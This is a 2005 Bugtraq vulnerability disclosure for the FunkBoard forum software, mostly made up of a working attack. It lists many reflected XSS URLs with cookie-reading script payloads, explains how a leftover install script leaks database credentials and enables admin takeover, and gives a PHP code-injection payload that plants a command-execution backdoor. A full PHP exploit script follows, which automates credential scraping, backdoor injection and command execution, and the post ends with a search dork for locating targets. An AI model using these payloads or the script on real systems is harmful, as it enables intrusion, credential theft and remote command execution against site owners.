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Message-ID: <20050808210318.20786.qmail@securityfocus.com>
Date: 8 Aug 2005 21:03:18 -0000
From: retrogod@...ceposta.it
To: bugtraq@...urityfocus.com
Subject: FunkBoard V0.66CF (possibly prior versions) cross site scripting,
possible database username/password disclosure & board takeover,possible
remote code execution
FunkBoard V0.66CF (possibly prior versions) cross site scripting,
possible database username/password disclosure & board takeover,
possible remote code execution
software:
author site: http://www.[path_to_funkboard].co.uk/
xss:
http://[target]/[path_to_funkboard]/editpost.php?fbusername="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/editpost.php?fbpassword="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/prefs.php?fbpassword="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/prefs.php?fbusername="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&fbusername="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&fbpassword="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&subject="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/reply.php?forumid=1&threadid=1&fbusername="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/reply.php?forumid=1&threadid=1&fbpassword="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/profile.php?fbusername="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/profile.php?fbpassword="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/register.php?fbusername="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/register.php?fmail="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/register.php?www="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/register.php?icq="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/register.php?yim="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/register.php?location="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/register.php?sex="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/register.php?interebbies="><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/register.php?sig=</textarea><script>alert(document.cookie)</script>
http://[target]/[path_to_funkboard]/register.php?aim="><script>alert(document.cookie)</script>
path disclosure:
http://[target]/[path_to_funkboard]/images/forums.php
database username & password disclosure:
during installation is not remembered to delete the mysql_install script and the installation
do not delete it, usually:
http://[target]/[path]/admin/mysql_install.php
or
http://[target]/[path]/admin/pg_install.php
there, a user can see database clear text username & password ...
Then, the script let the user proceed to the next page, where he can reset funkboard administator
username & password. Now the script faults, because some tables exist, etc.
So user can go back and setting a new database name for installation, guessing among other
installations on the server...
Once Installation succeeded he can set new admin username e password then login at this page:
http://[target]/[path]/[path_to_funkboard]/admin/index.php
Now the user can edit templates and append some evil javascript code.
remote code execution:
look at this code in mysql_install.php :
$infoout = "<?php\n\n// server name, eg. localhost\n\$server = '$server1';\n// your database's name\n\$dbname = '$dbname1';\n// your username to access that database\n\$dbuser = '$dbuser1';";
$infoout.= "\n// your password to access that database\n\$dbpass = '$dbpass1';\n\n// a contact email for when errors arise\n\$email = '$email1';";
$infoout.= "\n\n// database engine- 'mysql' or 'postgres'\n\$dbtype='$dbtype1';\n\n?>";
echo "Writing Config File<br>";
unlink ("../info.php");
$outname="../info.php";
$file = fopen($outname,"w+");
fputs($file, $infoout);
fclose($file);
clearly, you can inject php code, example:
go to http://[target]/[path]/admin/mysql_install.php
in email field (not checked) write:
email@...ain.com'; error_reporting(0); system($HTTP_GET_VARS[command]); echo '
press continue...
now look at info.php, the config file in main directory, you have:
<?php
// server name, eg. localhost
$server = 'localhost';
// your database's name
$dbname = 'dbname';
// your username to access that database
$dbuser = 'dbuser';
// your password to access that database
$dbpass = 'dbpassword';
// a contact email for when errors arise
$email = 'email@...ain.com'; error_reporting(0); system($HTTP_GET_VARS[command]); echo '';
// database engine- 'mysql' or 'postgres'
$dbtype='mysql';
?>
so, you have a backdoor on target system...
you can launch commands by this urls:
http://localhost:30/funkboard/info.php?command=ls%20-la
to list directories...
http://localhost:30/funkboard/info.php?command=cat%20/etc/passwd
to see /etc/passwd file
this is my proof of concept exploit:
<?php
/* FunkBoard V0.66CF (possibly prior versions) remote code execution
by rgod
site: http://rgod.altervista.org
make these changes in php.ini if you have troubles
with this script:
allow_call_time_pass_reference = on
register_globals = on */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo '<head><title>FunkBoard V0.66CF remote commands execution</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th {color: #00FF00;}
body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
font-style: italic;
}
-->
</style></head>
<body>
<p class="Stile6">FunkBoard V0.66CF (possibly prior versions) remote commands execution</p>
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post" action="'.$PHP_SELF.'?path=value&host=value&port=value&command=value&proxy=value">
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /funkboard/ or /forum/ just /) </span></p>
<p>
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value) </span></p>
<p>
<input type="text" name="command">
<span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
</form></td>
</tr>
</table>
</body>
</html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
if ($proxy=='')
{$packet="GET ".$path."admin/mysql_install.php HTTP/1.1\r\n";}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{$packet="GET http://".$host.$path."admin/mysql_install.php HTTP/1.0\r\n";}
}
$packet.="Accept: *//*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
show($data);
echo '<br>';
if (!eregi('HTTP/1.1 200 OK',$data)) {echo 'Error...see packet dump'; die;}
//************************extract values from form********************************
$parts=explode('value="',$data);
for ($i=0; $i<=count($parts)-1; $i++)
{
$p[$i]=explode('"',$parts[$i]);
if ($i==2) {$server1=$p[$i][0];}
if ($i==3) {$dbname1=$p[$i][0];}
if ($i==4) {$dbuser1=$p[$i][0];}
if ($i==5) {$dbpass1=$p[$i][0];}
if ($i==6)
{
if (eregi('CHECKED',$parts[$i]))
{ $dbtype1='mysql';}
else
{ $dbtype1='postgres';}
}
if ($i==8) {$e=$p[$i][0];}
}
echo 'Server: '.$server1.'<br>';
echo 'DbName: '.$dbname1.'<br>';
echo 'DbUser: '.$dbuser1.'<br>';
echo 'DbPass: '.$dbpass1.'<br>';
echo 'DbType: '.$dbtype1.'<br>';
echo 'Email : '.$e.'<br>';
$data="server1=".urlencode($server1)."&dbname1=".urlencode($dbname1)."&dbuser1=";
$data.=urlencode($dbuser1)."&dbpass1=".urlencode($dbpass1)."&dbtype1=".urlencode($dbtype1)."&email1=".urlencode($e);
$data.=urlencode("'; error_reporting(0); system(".'$HTTP_GET_VARS[command]'."); echo'");
$data.="&action=Continue2";
if ($proxy=='')
{$packet="POST ".$path."admin/mysql_install.php HTTP/1.1\r\n";}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{$packet="POST http://".$host.$path."admin/mysql_install.php HTTP/1.1\r\n";}
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."mysql_install.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
fclose($fp);
show($data);
if ($proxy=='')
{$packet="GET ".$path."info.php?command=".urlencode($command)." HTTP/1.1\r\n";}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{$packet="GET http://".$host.$path."info.php?command=".urlencode($command)." HTTP/1.1\r\n";}
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{ $data='';
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
if (eregi('HTTP/1.1 200 OK',$data))
{echo 'Exploit sent...<br> If FunkBoard is vulnerable <br>';
echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';
}
else
{echo 'Error, see output...';}
echo nl2br(htmlentities($data));
$data="server1=".urlencode($server1)."&dbname1=".urlencode($dbname1)."&dbuser1=";
$data.=urlencode($dbuser1)."&dbpass1=".urlencode($dbpass1)."&dbtype1=".urlencode($dbtype1)."&email1=".urlencode($e);
$data.="&action=Continue2";
if ($proxy=='')
{$packet="POST ".$path."admin/mysql_install.php HTTP/1.1\r\n";}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{$packet="POST http://".$host.$path."admin/mysql_install.php HTTP/1.1\r\n";}
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, *//*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."mysql_install.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
fclose($fp);
show($data);
}
?>
googledork: "Powered by FunkBoard"
rgod
site: http://rgod.altervista.org
mail: retrogod@...ceposta.it
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